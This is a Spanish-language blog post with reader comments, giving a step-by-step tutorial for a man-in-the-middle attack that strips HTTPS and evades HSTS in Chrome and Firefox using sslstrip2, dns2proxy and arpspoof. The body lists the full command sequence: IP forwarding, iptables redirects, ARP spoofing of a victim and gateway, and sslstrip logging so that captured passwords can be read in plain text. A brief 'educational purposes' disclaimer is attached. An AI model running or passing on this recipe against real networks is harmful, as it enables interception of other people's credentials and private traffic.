miércoles, 26 de noviembre de 2014

Rompiendo HSTS en CHROME y FIREFOX con sslstrip2







Había una vez, hace no mucho tiempo. Un mundo en el que la información transmitida por Internet viajaba en texto plano, Por lo cual cualquier sniffer como cain, ettercap, etc podían Fácilmente interceptar tu información, obtener tus contraseñas de facebook, hotmail, gmail y espiarte a diestra y siniestra.


Para mitigar este gran problema de seguridad decidieron implementar un protocolo mucho mas seguro llamado HTTPS que lo que hace es cifrar la información en SSL. En poco tiempo muchas paginas importantes como entidades bancarias, Paginas de servicios, gmail, hotmail, facebook, etc, Migraron a este protocolo.


Por un tiempo todo funcionó a la perfección. nadie podía sniffear los datos de las paginas cifradas en HTTPS. pero eso cambió en 2009 cuando en una conferencia llamada Black Hat se presentó una herramienta bastante curiosa llamada SSLSTRIP... ¿Que hace esta Herramienta?.

Lo que hace es que reemplaza todas las peticiones HTTPS A HTTP y luego hace MITM entre el cliente y servidor, permitiendo al atacante abolir el protocolo HTTPS y hacer que los datos viajen en texto plano.


Por años se podían sniffear los datos de las paginas aun en HTTPS, por eso es que después

se implementó un nuevo mecanismo de política de seguridad llamado HSTS que lo que hace es que informa al navegador que las conexiones siempre se deben dar bajo SSL/TLS, esta medida de seguridad fue implementada en muchas paginas web pero no solo eso, con el paso del tiempo los navegadores CHROME y FIREFOX incluyeron esta política en sus navegadores por lo que la herramienta SSLSTRIP dejó de ser efectiva para estos navegadores, Solo seguía funcionando en Internet explorer.


Pero hace unos meses LeonardoNve lanzó una versión modificada de SSLSTRIP a la cual llamó "SSLSTRIP2" . Esta nueva versión permite evadir las normas de seguridad HSTS y con la ayuda de otra herramienta llamada dns2proxy Permite hacer lo que hasta hoy era imposible: Sniffear conexiones en navegadores como FIREFOX y CHROME.


A continuación te muestro como llevar a cabo esta técnica no sin antes recordarte que esto es con fines Educativos.


Lo primero que necesitaras serán las 2 herramientas antes mencionadas sslstrip2 y dns2proxy

las 2 las puedes descargar directamente desde aquí:




https://github.com/LeonardoNve




una vez descomprimidas puedes escoger entre Instalar sslstrip2 o Ejecutarla directamente


Para instalarlo solo basta ejecutar el archivo setup.py de la siguiente manera:




python setup.py install


si tenías una versión anterior la remplazará.


Ahora si comencemos el Ataque:


Primero necesitamos activar el ip forward con el siguiente comando:


echo "1" > /proc/sys/net/ipv4/ip_fordward


agregamos estas reglas de iptables:


iptables --flush


ptables --flush -t nat


iptables -t nat -A PREROUTING -p tcp --destination-port 80 -j REDIRECT --to-port 9000


iptables -t nat -A PREROUTING -p udp --destination-port 53 -j REDIRECT --to-port 53


Iniciamos arpspoof


arpspoof -i eth0 -t IP-VICTIMA IP-GATEWAY

arpspoof -i eth0 -t GATEWAY IP-VICTIMA


Una vez hecho eso solo es cuestión de iniciar sslstrip


sslstrip -l 9000 -a -w log.txt


y por ultimo para que funcione el ataque debemos de correr dns2proxy:


python dns2proxy


listo .. con esto toda la información del objetivo llegará a nosotros en texto plano.


solo queda abrir el archivo log.txt que generó sslstrip y ahí estará toda la información.


Aquí les dejo un vídeo del proceso. saludos y happy Hacking.





Y aquí otro video Utilizando MITMF para automatizar el proceso: 



https://www.youtube.com/watch?v=Y8I_fkHF5r0












5 comentarios:

  1. Wow.... Esto me motiva, cuando sea un Elite Hacker, toda mi informacion y descubrimientos sera PUBLICA Y GRATIS!:)

    ResponderBorrar
  2. hay alguna configuración adicional que se le tenga que hacer al dns2proxy? no me funcionó el método
    seguí todo conforme a tu tuto y al video y nada

    ResponderBorrar
  3. Muy concisa tu explicacion de los protocolos, un poco de historia no hace daño, me tomo algo de tiempo conseguir dns2proxy, pero ya la tengo, serias tan amable de explicar como instalarla paso a paso despues de la descarga, para que sirve cada archivo de configuracion y cualquier anotacion adicional que consideres importante de saber, pues la verdad no he encontrado mucha informacion al respecto.

    Gracias

    ResponderBorrar
  4. Y usando MITMF me aparece un error al ejecutarlo "Could not Resolve targets mac address.....podrias ayudarme, he buscado en internet, pero no aparece nad

    ResponderBorrar
  5. Al usar MITMF me sale:

    Traceback (most recent call last):
    File "./mitmf.py", line 180, in
    from core.protocols.smb.SMBserver import SMBserver
    File "/usr/share/mitmf/core/protocols/smb/SMBserver.py", line 5, in
    from impacket import version, smbserver, LOG
    ImportError: cannot import name LOG

    Al buscar encontre una posible solucion que es actualizar el archivo impacket 0.9.12 al 0.9.13, lo hice pero sigue igual, ¿alguien me puede ayudar?. Saludos

    ResponderBorrar